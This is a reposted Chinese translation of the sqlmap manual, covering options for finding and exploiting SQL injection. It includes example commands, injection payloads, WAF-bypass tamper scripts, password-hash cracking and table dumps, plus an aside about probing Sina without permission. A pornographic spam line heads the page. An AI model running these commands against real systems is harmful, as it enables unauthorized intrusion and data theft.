亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

SqlMap用戶手冊(cè)

  發(fā)布時(shí)間:2014-07-29 10:03:19   作者:佚名   我要評(píng)論
sqlmap 是一個(gè)自動(dòng)SQL 射入工具。文章內(nèi)容有點(diǎn)長(zhǎng),但都是精華,讀者們耐心的看吧,續(xù)篇的鏈接在文末。

http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

當(dāng)給sqlmap這么一個(gè)url的時(shí)候,它會(huì):

1、判斷可注入的參數(shù)

2、判斷可以用那種SQL注入技術(shù)來注入

3、識(shí)別出哪種數(shù)據(jù)庫

4、根據(jù)用戶選擇,讀取哪些數(shù)據(jù)
sqlmap支持五種不同的注入模式:

1、基于布爾的盲注,即可以根據(jù)返回頁面判斷條件真假的注入。

2、基于時(shí)間的盲注,即不能根據(jù)頁面返回內(nèi)容判斷任何信息,用條件語句查看時(shí)間延遲語句是否執(zhí)行(即頁面返回時(shí)間是否增加)來判斷。

3、基于報(bào)錯(cuò)注入,即頁面會(huì)返回錯(cuò)誤信息,或者把注入的語句的結(jié)果直接返回在頁面中。

4、聯(lián)合查詢注入,可以使用union的情況下的注入。

5、堆查詢注入,可以同時(shí)執(zhí)行多條語句的執(zhí)行時(shí)的注入。
sqlmap支持的數(shù)據(jù)庫有:

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
 
可以提供一個(gè)簡(jiǎn)單的URL,Burp或WebScarab請(qǐng)求日志文件,文本文檔中的完整http請(qǐng)求或者Google的搜索,匹配出結(jié)果頁面,也可以自己定義一個(gè)正則來判斷那個(gè)地址去測(cè)試。

測(cè)試GET參數(shù),POST參數(shù),HTTP Cookie參數(shù),HTTP User-Agent頭和HTTP Referer頭來確認(rèn)是否有SQL注入,它也可以指定用逗號(hào)分隔的列表的具體參數(shù)來測(cè)試。

可以設(shè)定HTTP(S)請(qǐng)求的并發(fā)數(shù),來提高盲注時(shí)的效率。

附上sqlmap的視頻:

http://chabaoo.cn/books/63594.html

使用sqlmap的實(shí)例文章:

http://unconciousmind.blogspot.com/search/label/sqlmap

可以點(diǎn)擊https://github.com/sqlmapproject/sqlmap/tarball/master下載最新版本sqlmap。

也可以使用git來獲取sqlmap

git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
之后可以直接使用命令來更新

python sqlmap.py --update
或者

git pull

更新sqlmap

如果你想觀察sqlmap對(duì)一個(gè)點(diǎn)是進(jìn)行了怎樣的嘗試判斷以及讀取數(shù)據(jù)的,可以使用-v參數(shù)。

共有七個(gè)等級(jí),默認(rèn)為1:

0、只顯示python錯(cuò)誤以及嚴(yán)重的信息。

1、同時(shí)顯示基本信息和警告信息。(默認(rèn))

2、同時(shí)顯示debug信息。

3、同時(shí)顯示注入的payload。

4、同時(shí)顯示HTTP請(qǐng)求。

5、同時(shí)顯示HTTP響應(yīng)頭。

6、同時(shí)顯示HTTP響應(yīng)頁面。
 

如果你想看到sqlmap發(fā)送的測(cè)試payload最好的等級(jí)就是3。

獲取目標(biāo)方式
目標(biāo)URL

參數(shù):-u或者–url

格式:http(s)://targeturl[:port]/[…]

例如:python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs --users

從Burp或者WebScarab代理中獲取日志

參數(shù):-l

可以直接吧Burp proxy或者WebScarab proxy中的日志直接倒出來交給sqlmap來一個(gè)一個(gè)檢測(cè)是否有注入。

從文本中獲取多個(gè)目標(biāo)掃描

參數(shù):-m

文件中保存url格式如下,sqlmap會(huì)一個(gè)一個(gè)檢測(cè)

www.target1.com/vuln1.php?q=foobar

www.target2.com/vuln2.asp?id=1

www.target3.com/vuln3/id/1*
 

從文件中加載HTTP請(qǐng)求
參數(shù):-r

sqlmap可以從一個(gè)文本文件中獲取HTTP請(qǐng)求,這樣就可以跳過設(shè)置一些其他參數(shù)(比如cookie,POST數(shù)據(jù),等等)。

比如文本文件內(nèi)如下:

POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0

id=1

當(dāng)請(qǐng)求是HTTPS的時(shí)候你需要配合這個(gè)–force-ssl參數(shù)來使用,或者你可以在Host頭后門加上:443

處理Google的搜索結(jié)果

參數(shù):-g

sqlmap可以測(cè)試注入Google的搜索結(jié)果中的GET參數(shù)(只獲取前100個(gè)結(jié)果)。

例子:

python sqlmap.py -g "inurl:".php?id=1""

(很牛B的功能,測(cè)試了一下,第十幾個(gè)就找到新浪的一個(gè)注入點(diǎn))

此外可以使用-c參數(shù)加載sqlmap.conf文件里面的相關(guān)配置。

請(qǐng)求
http數(shù)據(jù)

參數(shù):–data

此參數(shù)是把數(shù)據(jù)以POST方式提交,sqlmap會(huì)像檢測(cè)GET參數(shù)一樣檢測(cè)POST的參數(shù)。

例子:

python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users
 

參數(shù)拆分字符

參數(shù):–param-del

當(dāng)GET或POST的數(shù)據(jù)需要用其他字符分割測(cè)試參數(shù)的時(shí)候需要用到此參數(shù)。

例子:

python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users
 

HTTP cookie頭

參數(shù):–cookie,–load-cookies,–drop-set-cookie

這個(gè)參數(shù)在以下兩個(gè)方面很有用:

1、web應(yīng)用需要登陸的時(shí)候。

2、你想要在這些頭參數(shù)中測(cè)試SQL注入時(shí)。

可以通過抓包把cookie獲取到,復(fù)制出來,然后加到–cookie參數(shù)里。

在HTTP請(qǐng)求中,遇到Set-Cookie的話,sqlmap會(huì)自動(dòng)獲取并且在以后的請(qǐng)求中加入,并且會(huì)嘗試SQL注入。

如果你不想接受Set-Cookie可以使用–drop-set-cookie參數(shù)來拒接。

當(dāng)你使用–cookie參數(shù)時(shí),當(dāng)返回一個(gè)Set-Cookie頭的時(shí)候,sqlmap會(huì)詢問你用哪個(gè)cookie來繼續(xù)接下來的請(qǐng)求。當(dāng)–level的參數(shù)設(shè)定為2或者2以上的時(shí)候,sqlmap會(huì)嘗試注入Cookie參數(shù)。

HTTP User-Agent頭

參數(shù):–user-agent,–random-agent

默認(rèn)情況下sqlmap的HTTP請(qǐng)求頭中User-Agent值是:

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
 

可以使用–user-anget參數(shù)來修改,同時(shí)也可以使用–random-agnet參數(shù)來隨機(jī)的從./txt/user-agents.txt中獲取。

當(dāng)–level參數(shù)設(shè)定為3或者3以上的時(shí)候,會(huì)嘗試對(duì)User-Angent進(jìn)行注入。

HTTP Referer頭

參數(shù):–referer

sqlmap可以在請(qǐng)求中偽造HTTP中的referer,當(dāng)–level參數(shù)設(shè)定為3或者3以上的時(shí)候會(huì)嘗試對(duì)referer注入。

額外的HTTP頭

參數(shù):–headers

可以通過–headers參數(shù)來增加額外的http頭

HTTP認(rèn)證保護(hù)

參數(shù):–auth-type,–auth-cred

這些參數(shù)可以用來登陸HTTP的認(rèn)證保護(hù)支持三種方式:

1、Basic

2、Digest

3、NTLM

例子:

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"

HTTP協(xié)議的證書認(rèn)證

參數(shù):–auth-cert

當(dāng)Web服務(wù)器需要客戶端證書進(jìn)行身份驗(yàn)證時(shí),需要提供兩個(gè)文件:key_file,cert_file。

key_file是格式為PEM文件,包含著你的私鑰,cert_file是格式為PEM的連接文件。

HTTP(S)代理

參數(shù):–proxy,–proxy-cred和–ignore-proxy

使用–proxy代理是格式為:http://url:port。

當(dāng)HTTP(S)代理需要認(rèn)證是可以使用–proxy-cred參數(shù):username:password。

–ignore-proxy拒絕使用本地局域網(wǎng)的HTTP(S)代理。

HTTP請(qǐng)求延遲

參數(shù):–delay

可以設(shè)定兩個(gè)HTTP(S)請(qǐng)求間的延遲,設(shè)定為0.5的時(shí)候是半秒,默認(rèn)是沒有延遲的。

設(shè)定超時(shí)時(shí)間

參數(shù):–timeout

可以設(shè)定一個(gè)HTTP(S)請(qǐng)求超過多久判定為超時(shí),10.5表示10.5秒,默認(rèn)是30秒。

設(shè)定重試超時(shí)

參數(shù):–retries

當(dāng)HTTP(S)超時(shí)時(shí),可以設(shè)定重新嘗試連接次數(shù),默認(rèn)是3次。

設(shè)定隨機(jī)改變的參數(shù)值

參數(shù):–randomize

可以設(shè)定某一個(gè)參數(shù)值在每一次請(qǐng)求中隨機(jī)的變化,長(zhǎng)度和類型會(huì)與提供的初始值一樣。

利用正則過濾目標(biāo)網(wǎng)址

參數(shù):–scope

例如:

python sqlmap.py -l burp.log --scope="(www)?.target.(com|net|org)"

避免過多的錯(cuò)誤請(qǐng)求被屏蔽

參數(shù):–safe-url,–safe-freq

有的web應(yīng)用程序會(huì)在你多次訪問錯(cuò)誤的請(qǐng)求時(shí)屏蔽掉你以后的所有請(qǐng)求,這樣在sqlmap進(jìn)行探測(cè)或者注入的時(shí)候可能造成錯(cuò)誤請(qǐng)求而觸發(fā)這個(gè)策略,導(dǎo)致以后無法進(jìn)行。

繞過這個(gè)策略有兩種方式:

1、--safe-url:提供一個(gè)安全不錯(cuò)誤的連接,每隔一段時(shí)間都會(huì)去訪問一下。
2、--safe-freq:提供一個(gè)安全不錯(cuò)誤的連接,每次測(cè)試請(qǐng)求之后都會(huì)再訪問一邊安全連接。

關(guān)掉URL參數(shù)值編碼

參數(shù):–skip-urlencode

根據(jù)參數(shù)位置,他的值默認(rèn)將會(huì)被URL編碼,但是有些時(shí)候后端的web服務(wù)器不遵守RFC標(biāo)準(zhǔn),只接受不經(jīng)過URL編碼的值,這時(shí)候就需要用–skip-urlencode參數(shù)。

每次請(qǐng)求時(shí)候執(zhí)行自定義的python代碼

參數(shù):–eval

在有些時(shí)候,需要根據(jù)某個(gè)參數(shù)的變化,而修改另個(gè)一參數(shù),才能形成正常的請(qǐng)求,這時(shí)可以用–eval參數(shù)在每次請(qǐng)求時(shí)根據(jù)所寫python代碼做完修改后請(qǐng)求。

例子:

python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

上面的請(qǐng)求就是每次請(qǐng)求時(shí)根據(jù)id參數(shù)值,做一次md5后作為hash參數(shù)的值。

注入
測(cè)試參數(shù)
參數(shù):-p,–skip

sqlmap默認(rèn)測(cè)試所有的GET和POST參數(shù),當(dāng)–level的值大于等于2的時(shí)候也會(huì)測(cè)試HTTP Cookie頭的值,當(dāng)大于等于3的時(shí)候也會(huì)測(cè)試User-Agent和HTTP Referer頭的值。但是你可以手動(dòng)用-p參數(shù)設(shè)置想要測(cè)試的參數(shù)。例如: -p “id,user-anget”

當(dāng)你使用–level的值很大但是有個(gè)別參數(shù)不想測(cè)試的時(shí)候可以使用–skip參數(shù)。

例如:–skip=”user-angent.referer”

在有些時(shí)候web服務(wù)器使用了URL重寫,導(dǎo)致無法直接使用sqlmap測(cè)試參數(shù),可以在想測(cè)試的參數(shù)后面加*

例如:

python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"

sqlmap將會(huì)測(cè)試value1的位置是否可注入。

指定數(shù)據(jù)庫

參數(shù):–dbms

默認(rèn)情況系sqlmap會(huì)自動(dòng)的探測(cè)web應(yīng)用后端的數(shù)據(jù)庫是什么,sqlmap支持的數(shù)據(jù)庫有:

MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2

指定數(shù)據(jù)庫服務(wù)器系統(tǒng)

參數(shù):–os

默認(rèn)情況下sqlmap會(huì)自動(dòng)的探測(cè)數(shù)據(jù)庫服務(wù)器系統(tǒng),支持的系統(tǒng)有:Linux、Windows。

指定無效的大數(shù)字

參數(shù):–invalid-bignum

當(dāng)你想指定一個(gè)報(bào)錯(cuò)的數(shù)值時(shí),可以使用這個(gè)參數(shù),例如默認(rèn)情況系id=13,sqlmap會(huì)變成id=-13來報(bào)錯(cuò),你可以指定比如id=9999999來報(bào)錯(cuò)。

指定無效的邏輯

參數(shù):–invalid-logical

原因同上,可以指定id=13把原來的id=-13的報(bào)錯(cuò)改成id=13 AND 18=19。

注入payload

參數(shù):–prefix,–suffix

在有些環(huán)境中,需要在注入的payload的前面或者后面加一些字符,來保證payload的正常執(zhí)行。

例如,代碼中是這樣調(diào)用數(shù)據(jù)庫的:

$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";
這時(shí)你就需要–prefix和–suffix參數(shù)了:

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc"
這樣執(zhí)行的SQL語句變成:

$query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1";
 

修改注入的數(shù)據(jù)

參數(shù):–tamper

sqlmap除了使用CHAR()函數(shù)來防止出現(xiàn)單引號(hào)之外沒有對(duì)注入的數(shù)據(jù)修改,你可以使用–tamper參數(shù)對(duì)數(shù)據(jù)做修改來繞過WAF等設(shè)備。

下面是一個(gè)tamper腳本的格式:

# Needed imports
from lib.core.enums import PRIORITY
# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL
def tamper(payload):
    '''
    Description of your tamper script
    '''
    retVal = payload
    # your code to tamper the original payload
    # return the tampered payload
    return retVal
 

可以查看 tamper/ 目錄下的有哪些可用的腳本

例如:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar(
58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/
ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/
group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING
clause' injectable
[...]
 

探測(cè)
探測(cè)等級(jí)

參數(shù):–level

共有五個(gè)等級(jí),默認(rèn)為1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根據(jù)相應(yīng)的格式添加自己的payload。

這個(gè)參數(shù)不僅影響使用哪些payload同時(shí)也會(huì)影響測(cè)試的注入點(diǎn),GET和POST的數(shù)據(jù)都會(huì)測(cè)試,HTTP Cookie在level為2的時(shí)候就會(huì)測(cè)試,HTTP User-Agent/Referer頭在level為3的時(shí)候就會(huì)測(cè)試。

總之在你不確定哪個(gè)payload或者參數(shù)為注入點(diǎn)的時(shí)候,為了保證全面性,建議使用高的level值。

風(fēng)險(xiǎn)等級(jí)

參數(shù):–risk

共有四個(gè)風(fēng)險(xiǎn)等級(jí),默認(rèn)是1會(huì)測(cè)試大部分的測(cè)試語句,2會(huì)增加基于事件的測(cè)試語句,3會(huì)增加OR語句的SQL注入測(cè)試。

在有些時(shí)候,例如在UPDATE的語句中,注入一個(gè)OR的測(cè)試語句,可能導(dǎo)致更新的整個(gè)表,可能造成很大的風(fēng)險(xiǎn)。

測(cè)試的語句同樣可以在xml/payloads.xml中找到,你也可以自行添加payload。

頁面比較

參數(shù):–string,–not-string,–regexp,–code

默認(rèn)情況下sqlmap通過判斷返回頁面的不同來判斷真假,但有時(shí)候這會(huì)產(chǎn)生誤差,因?yàn)橛械捻撁嬖诿看嗡⑿碌臅r(shí)候都會(huì)返回不同的代碼,比如頁面當(dāng)中包含一個(gè)動(dòng)態(tài)的廣告或者其他內(nèi)容,這會(huì)導(dǎo)致sqlmap的誤判。此時(shí)用戶可以提供一個(gè)字符串或者一段正則匹配,在原始頁面與真條件下的頁面都存在的字符串,而錯(cuò)誤頁面中不存在(使用–string參數(shù)添加字符串,–regexp添加正則),同時(shí)用戶可以提供一段字符串在原始頁面與真條件下的頁面都不存在的字符串,而錯(cuò)誤頁面中存在的字符串(–not-string添加)。用戶也可以提供真與假條件返回的HTTP狀態(tài)碼不一樣來注入,例如,響應(yīng)200的時(shí)候?yàn)檎?,響?yīng)401的時(shí)候?yàn)榧?,可以添加參?shù)–code=200。

參數(shù):–text-only,–titles

有些時(shí)候用戶知道真條件下的返回頁面與假條件下返回頁面的不同位置在哪里可以使用–text-only(HTTP響應(yīng)體中不同)–titles(HTML的title標(biāo)簽中不同)。

注入技術(shù)
測(cè)試是否是注入

參數(shù):–technique

這個(gè)參數(shù)可以指定sqlmap使用的探測(cè)技術(shù),默認(rèn)情況下會(huì)測(cè)試所有的方式。

支持的探測(cè)方式如下:

B: Boolean-based blind SQL injection(布爾型注入)
E: Error-based SQL injection(報(bào)錯(cuò)型注入)
U: UNION query SQL injection(可聯(lián)合查詢注入)
S: Stacked queries SQL injection(可多語句查詢注入)
T: Time-based blind SQL injection(基于時(shí)間延遲注入)
 

設(shè)定延遲注入的時(shí)間

參數(shù):–time-sec

當(dāng)使用繼續(xù)時(shí)間的盲注時(shí),時(shí)刻使用–time-sec參數(shù)設(shè)定延時(shí)時(shí)間,默認(rèn)是5秒。

設(shè)定UNION查詢字段數(shù)

參數(shù):–union-cols

默認(rèn)情況下sqlmap測(cè)試UNION查詢注入會(huì)測(cè)試1-10個(gè)字段數(shù),當(dāng)–level為5的時(shí)候他會(huì)增加測(cè)試到50個(gè)字段數(shù)。設(shè)定–union-cols的值應(yīng)該是一段整數(shù),如:12-16,是測(cè)試12-16個(gè)字段數(shù)。

設(shè)定UNION查詢使用的字符

參數(shù):–union-char

默認(rèn)情況下sqlmap針對(duì)UNION查詢的注入會(huì)使用NULL字符,但是有些情況下會(huì)造成頁面返回失敗,而一個(gè)隨機(jī)整數(shù)是成功的,這是你可以用–union-char指定UNION查詢的字符。

二階SQL注入

參數(shù):–second-order

有些時(shí)候注入點(diǎn)輸入的數(shù)據(jù)看返回結(jié)果的時(shí)候并不是當(dāng)前的頁面,而是另外的一個(gè)頁面,這時(shí)候就需要你指定到哪個(gè)頁面獲取響應(yīng)判斷真假。–second-order后門跟一個(gè)判斷頁面的URL地址。

列數(shù)據(jù)
標(biāo)志

參數(shù):-b,–banner

大多數(shù)的數(shù)據(jù)庫系統(tǒng)都有一個(gè)函數(shù)可以返回?cái)?shù)據(jù)庫的版本號(hào),通常這個(gè)函數(shù)是version()或者變量@@version這主要取決與是什么數(shù)據(jù)庫。

用戶

參數(shù):–current-user

在大多數(shù)據(jù)庫中可以獲取到管理數(shù)據(jù)的用戶。

當(dāng)前數(shù)據(jù)庫

參數(shù):–current-db

返還當(dāng)前連接的數(shù)據(jù)庫。

當(dāng)前用戶是否為管理用

參數(shù):–is-dba

判斷當(dāng)前的用戶是否為管理,是的話會(huì)返回True。

列數(shù)據(jù)庫管理用戶

參數(shù):–users

當(dāng)前用戶有權(quán)限讀取包含所有用戶的表的權(quán)限時(shí),就可以列出所有管理用戶。

列出并破解數(shù)據(jù)庫用戶的hash

參數(shù):–passwords

當(dāng)前用戶有權(quán)限讀取包含用戶密碼的表的權(quán)限時(shí),sqlmap會(huì)現(xiàn)列舉出用戶,然后列出hash,并嘗試破解。

例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1
[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
    password hash: md5d7d880f96044b72d0bba108ace96d1e4
    clear-text password: testpass
[*] testuser [1]:
    password hash: md599e5ea7a6f7c3269995cba3927fd0093
    clear-text password: testpass
 

可以看到sqlmap不僅勒出數(shù)據(jù)庫的用戶跟密碼,同時(shí)也識(shí)別出是PostgreSQL數(shù)據(jù)庫,并詢問用戶是否采用字典爆破的方式進(jìn)行破解,這個(gè)爆破已經(jīng)支持Oracle和Microsoft SQL Server。

也可以提供-U參數(shù)來指定爆破哪個(gè)用戶的hash。

列出數(shù)據(jù)庫管理員權(quán)限

參數(shù):–privileges

當(dāng)前用戶有權(quán)限讀取包含所有用戶的表的權(quán)限時(shí),很可能列舉出每個(gè)用戶的權(quán)限,sqlmap將會(huì)告訴你哪個(gè)是數(shù)據(jù)庫的超級(jí)管理員。也可以用-U參數(shù)指定你想看哪個(gè)用戶的權(quán)限。

列出數(shù)據(jù)庫管理員角色

參數(shù):–roles

當(dāng)前用戶有權(quán)限讀取包含所有用戶的表的權(quán)限時(shí),很可能列舉出每個(gè)用戶的角色,也可以用-U參數(shù)指定你想看哪個(gè)用戶的角色。

僅適用于當(dāng)前數(shù)據(jù)庫是Oracle的時(shí)候。

列出數(shù)據(jù)庫系統(tǒng)的數(shù)據(jù)庫

參數(shù):–dbs

當(dāng)前用戶有權(quán)限讀取包含所有數(shù)據(jù)庫列表信息的表中的時(shí)候,即可列出所有的數(shù)據(jù)庫。

列舉數(shù)據(jù)庫表

參數(shù):–tables,–exclude-sysdbs,-D

當(dāng)前用戶有權(quán)限讀取包含所有數(shù)據(jù)庫表信息的表中的時(shí)候,即可列出一個(gè)特定數(shù)據(jù)的所有表。

如果你不提供-D參數(shù)來列指定的一個(gè)數(shù)據(jù)的時(shí)候,sqlmap會(huì)列出數(shù)據(jù)庫所有庫的所有表。

–exclude-sysdbs參數(shù)是指排除了所有的系統(tǒng)數(shù)據(jù)庫。

需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是數(shù)據(jù)庫名稱。

列舉數(shù)據(jù)庫表中的字段

參數(shù):–columns,-C,-T,-D

當(dāng)前用戶有權(quán)限讀取包含所有數(shù)據(jù)庫表信息的表中的時(shí)候,即可列出指定數(shù)據(jù)庫表中的字段,同時(shí)也會(huì)列出字段的數(shù)據(jù)類型。

如果沒有使用-D參數(shù)指定數(shù)據(jù)庫時(shí),默認(rèn)會(huì)使用當(dāng)前數(shù)據(jù)庫。

列舉一個(gè)SQLite的例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column  | Type    |
+---------+---------+
| id      | INTEGER |
| name    | TEXT    |
| surname | TEXT    |
+---------+---------+
 

列舉數(shù)據(jù)庫系統(tǒng)的架構(gòu)

參數(shù):–schema,–exclude-sysdbs

用戶可以用此參數(shù)獲取數(shù)據(jù)庫的架構(gòu),包含所有的數(shù)據(jù)庫,表和字段,以及各自的類型。

加上–exclude-sysdbs參數(shù),將不會(huì)獲取數(shù)據(jù)庫自帶的系統(tǒng)庫內(nèi)容。

MySQL例子:

$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --schema --batch --exclude-sysdbs
[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column      | Type    |
+-------------+---------+
| cid         | int(11) |
| mysignature | text    |
| password    | text    |
| username    | text    |
+-------------+---------+

Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column       | Type     |
+--------------+----------+
| date         | datetime |
| blogger_name | text     |
| cid          | int(11)  |
| comment      | text     |
+--------------+----------+

Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column   | Type     |
+----------+----------+
| date     | datetime |
| browser  | text     |
| cid      | int(11)  |
| hostname | text     |
| ip       | text     |
| referer  | text     |
+----------+----------+

Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column  | Type          |
+---------+---------------+
| id      | int(11)       |
| name    | varchar(500)  |
| surname | varchar(1000) |
+---------+---------------+
[...]
 

獲取表中數(shù)據(jù)個(gè)數(shù)

參數(shù):–count

有時(shí)候用戶只想獲取表中的數(shù)據(jù)個(gè)數(shù)而不是具體的內(nèi)容,那么就可以使用這個(gè)參數(shù)。

列舉一個(gè)Microsoft SQL Server例子:

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table          | Entries |
+----------------+---------+
| dbo.users      | 4       |
| dbo.users_blob | 2       |
+----------------+---------+
 

獲取整個(gè)表的數(shù)據(jù)

參數(shù):–dump,-C,-T,-D,–start,–stop,–first,–last

如果當(dāng)前管理員有權(quán)限讀取數(shù)據(jù)庫其中的一個(gè)表的話,那么就能獲取這個(gè)表的所有內(nèi)容。

使用-D,-T參數(shù)指定想要獲取哪個(gè)庫的哪個(gè)表,不適用-D參數(shù)時(shí),默認(rèn)使用當(dāng)前庫。

列舉一個(gè)Firebird的例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME   | SURNAME    |
+----+--------+------------+
| 1  | luther | blisset    |
| 2  | fluffy | bunny      |
| 3  | wu     | ming       |
| 4  | NULL   | nameisnull |
+----+--------+------------+
 

可以獲取指定庫中的所有表的內(nèi)容,只用-dump跟-D參數(shù)(不使用-T與-C參數(shù))。

也可以用-dump跟-C獲取指定的字段內(nèi)容。

sqlmap為每個(gè)表生成了一個(gè)CSV文件。

如果你只想獲取一段數(shù)據(jù),可以使用–start和–stop參數(shù),例如,你只想獲取第一段數(shù)據(jù)可以使用–stop 1,如果想獲取第二段與第三段數(shù)據(jù),使用參數(shù) –start 1 –stop 3。

也可以用–first與–last參數(shù),獲取第幾個(gè)字符到第幾個(gè)字符的內(nèi)容,如果你想獲取字段中第三個(gè)字符到第五個(gè)字符的內(nèi)容,使用–first 3 –last 5,只在盲注的時(shí)候使用,因?yàn)槠渌绞娇梢詼?zhǔn)確的獲取注入內(nèi)容,不需要一個(gè)字符一個(gè)字符的猜解。

獲取所有數(shù)據(jù)庫表的內(nèi)容

參數(shù):–dump-all,–exclude-sysdbs

使用–dump-all參數(shù)獲取所有數(shù)據(jù)庫表的內(nèi)容,可同時(shí)加上–exclude-sysdbs只獲取用戶數(shù)據(jù)庫的表,需要注意在Microsoft SQL Server中master數(shù)據(jù)庫沒有考慮成為一個(gè)系統(tǒng)數(shù)據(jù)庫,因?yàn)橛械墓芾韱T會(huì)把他當(dāng)初用戶數(shù)據(jù)庫一樣來使用它。

搜索字段,表,數(shù)據(jù)庫

參數(shù):–search,-C,-T,-D

–search可以用來尋找特定的數(shù)據(jù)庫名,所有數(shù)據(jù)庫中的特定表名,所有數(shù)據(jù)庫表中的特定字段。

可以在一下三種情況下使用:

-C后跟著用逗號(hào)分割的列名,將會(huì)在所有數(shù)據(jù)庫表中搜索指定的列名。
-T后跟著用逗號(hào)分割的表名,將會(huì)在所有數(shù)據(jù)庫中搜索指定的表名
-D后跟著用逗號(hào)分割的庫名,將會(huì)在所有數(shù)據(jù)庫中搜索指定的庫名。
 

運(yùn)行自定義的SQL語句

參數(shù):–sql-query,–sql-shell

sqlmap會(huì)自動(dòng)檢測(cè)確定使用哪種SQL注入技術(shù),如何插入檢索語句。

如果是SELECT查詢語句,sqlmap將會(huì)輸出結(jié)果。如果是通過SQL注入執(zhí)行其他語句,需要測(cè)試是否支持多語句執(zhí)行SQL語句。

列舉一個(gè)Mircrosoft SQL Server 2000的例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1

[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo':    'foo'

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2

[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into
distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
